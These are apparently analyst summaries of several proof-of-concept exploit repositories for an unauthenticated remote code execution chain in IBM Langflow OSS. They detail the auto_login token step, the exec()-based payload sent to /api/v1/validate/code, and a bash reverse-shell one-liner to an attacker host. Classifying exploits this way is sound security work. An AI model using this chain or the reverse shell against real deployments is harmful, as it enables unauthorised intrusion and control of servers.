Unauthenticated RCE in IBM Langflow OSS Default Deployments

This repository is a small standalone Python proof-of-concept exploit for CVE-2026-9198 affecting IBM Langflow OSS, described in the README as impacting versions 1.0.0 through 1.10.0 when autologin is enabled by default. The repository contains only three files: an MIT LICENSE, a short README explaining the vulnerability chain, and a single executable script, poc.py. The exploit logic in poc.py is straightforward and operational. It accepts a target base URL and an optional command. It first probes the web endpoint /api/v1/auto_login using both GET and POST; if either returns HTTP 200, it extracts an access_token from the JSON response. That token is then used as a Bearer token in a POST request to /api/v1/validate/code. The submitted JSON contains a crafted Python function definition whose default argument executes arbitrary Python via exec(). That Python imports subprocess and runs the attacker-supplied shell command with shell=True, capturing stdout/stderr. The output is intentionally raised as an exception so it is reflected back through the API response, where the script reads it from the function.errors field. Capabilities: the exploit can both verify vulnerability and achieve authenticated remote code execution. By default it runs a harmless echo marker to test exploitability; when the user supplies -e/--exec, it executes an arbitrary shell command and prints the returned output. This makes it more than a pure detector, but it is still a simple PoC rather than a weaponized framework module. There are no hardcoded external IPs or domains. The only fingerprintable targets are the Langflow application endpoints /api/v1/auto_login and /api/v1/validate/code, plus the use of a Bearer token in the Authorization header. The exploit is clearly intended for remote web exploitation of a vulnerable Langflow instance.

This repository is a minimal proof-of-concept exploit for CVE-2026-9198 affecting Langflow versions earlier than 1.10.0. It contains two files: a short README with usage instructions and a single Python exploit script, poc.py, which is the clear entry point. The script uses the requests library and argparse for a simple two-stage attack flow. Stage 1 sends a GET request to /api/v1/auto_login and expects a JSON response containing an access_token. The code treats this as a SUPERUSER token, indicating the vulnerability includes an authentication bypass or insecure auto-login behavior. Stage 2 uses that bearer token in a POST request to /api/v1/validate/code and submits attacker-controlled Python code in the JSON field code. The injected code imports subprocess and executes the operator-provided shell command with shell=True, capturing stdout and stderr and surfacing the output through an exception string. The exploit's main capability is authenticated remote code execution achieved through an unauthenticated token acquisition step followed by abuse of a code-validation endpoint. It is not a scanner or detector; it is an active exploit that executes arbitrary commands on the target host. The payload is basic but functional and operator-controlled, making the exploit operational rather than a mere conceptual PoC. The repository is small, focused, and purpose-built for exploiting a vulnerable Langflow web/API service.

This repository is a minimal Nuclei exploit template for CVE-2026-9198 targeting IBM Langflow OSS 1.0.0 through 1.10.0 and forks. The repository contains three files: a single YAML template (the only code artifact), a LICENSE, and a short README. Because it is a Nuclei template, the main logic is entirely in 2026-9198.yaml. The exploit performs a two-step web attack flow. First, it sends a GET request to /api/v1/auto_login and checks for access_token and refresh_token in a 200 OK response, extracting the access token as a JWT. Second, it sends a POST request to /api/v1/validate/code with an Authorization: Bearer header and a JSON body containing Python code. That code abuses the target's unsafe exec()-based validation path to run a shell command via Python's subprocess module. The included proof payload executes id and causes the output to be reflected back in the response, where the template matches uid/gid text to confirm successful RCE. Capabilities: unauthenticated authentication bypass/token acquisition, authenticated arbitrary Python execution, command execution on the underlying host, and response-based verification of execution. The template is operationally useful rather than purely descriptive because it includes a working payload and automated success matchers. It is not just a detector; it actively triggers code execution. Notable targeting metadata in the template identifies IBM Langflow, default ports 7860 and 443, and search fingerprints such as title:"langflow" and title/body matches for Langflow. The README only states the CVE and affected product, while the LICENSE is standard MIT text.

Repository contains a functional exploit for IBM Langflow OSS unauthenticated RCE, plus a Nuclei template for detection/verification. The main Python script CVE-2026-9198.py is the operational exploit: it normalizes a target URL, optionally defaults to http://<target>:7860, attempts unauthenticated token retrieval from /api/v1/auto_login, and then abuses /api/v1/validate/code by embedding attacker-controlled Python inside a function default argument so execution occurs during server-side exec(). Command output is exfiltrated by raising an exception containing subprocess.check_output() results and reading function.errors[0] from the response. The script supports three primary modes: single command execution, an interactive pseudo-shell that repeatedly issues commands and updates prompt context using whoami/pwd/echo $HOME, and a reverse shell mode that launches bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'. The YAML file is a Nuclei template that performs the same exploit chain in two HTTP requests: GET /api/v1/auto_login to extract a token, then POST /api/v1/validate/code with an id command and match uid/gid in the response. README.md documents installation, usage, examples, and mitigation. Overall, this is a real exploit repository, not just a detector; it provides unauthenticated RCE capability against vulnerable Langflow deployments where auto-login is enabled.

This repository is a small educational exploit lab for CVE-2026-9198 affecting IBM Langflow OSS. It contains one Python PoC (poc.py), a README, and two Docker Compose files for vulnerable and patched test environments. The exploit is real and functional: it first requests /api/v1/auto_login using GET or POST to obtain an access_token without authentication when auto-login is enabled, then submits attacker-controlled Python code to /api/v1/validate/code with a Bearer token. The payload uses Python exec() and subprocess.check_output(..., shell=True) to run a shell command on the target; by default it runs 'id' and reflects output through an exception message parsed from the API response. This gives remote code execution, not just detection, although the included payload is basic and hardcoded, making the maturity OPERATIONAL rather than weaponized. The repository structure supports local validation: vulnerable/docker-compose.yaml deploys postgres plus langflowai/langflow:1.10.0 bound to 127.0.0.1:9999 with LANGFLOW_AUTO_LOGIN=true, while patched/docker-compose.yaml uses langflowai/langflow:1.10.1 to demonstrate failed exploitation. Overall, the repo’s purpose is to demonstrate and verify an unauthenticated token-minting plus code-validation RCE chain against Langflow.

This repository is a small standalone Python exploit for IBM Langflow OSS unauthenticated RCE, consisting of only two files: a README and a single executable script (`exploit.py`). The exploit chains two vulnerabilities: CVE-2026-9103, where `/api/v1/auto_login` returns a superuser JWT to an unauthenticated caller when AUTO_LOGIN is enabled, and CVE-2026-8481, where `/api/v1/validate/code` executes attacker-controlled Python via `exec()` during code validation. The script first normalizes the target URL, then either uses a supplied bearer token or requests one from the auto_login endpoint. It submits a JSON body containing Python wrapped as a function default argument (`def _v(a=exec(...))`) so the payload executes at definition time when Langflow validates the code. For command execution, it runs shell commands through Python's `subprocess.check_output(..., shell=True, stderr=STDOUT)` and raises an exception containing the output, which Langflow reflects in `function.errors[0]`; the exploit parses that field and prints the result. Operational capabilities include default `id` execution for verification, arbitrary single-command execution, an interactive pseudo-shell that sends one request per command, and a bash reverse shell callback to an attacker-controlled host and port. The exploit uses only Python standard library modules (`argparse`, `json`, `sys`, `urllib.request`, `urllib.error`) and is clearly intended as a working offensive exploit rather than a detector or proof-only script.